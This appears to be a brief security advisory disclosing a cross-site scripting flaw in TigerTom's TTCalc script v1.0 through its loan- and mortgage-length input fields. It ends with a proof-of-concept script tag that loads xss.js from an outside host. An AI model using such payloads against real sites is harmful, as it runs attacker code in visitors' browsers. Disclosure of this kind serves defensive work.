TigerTom Scripts

[luny@youf**ktard.com]

TigerTom Scripts

Homepage:
http://www.ttfreeware.co.uk/

Affected files:
TTCalc script v1.0

---------------------------

Data pased in the "Length of loan, years" and "Length of mortgage, years" input boxes are not sanatized before being 
generated. 

For a PoC in the input boxes listed above simply put:

<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>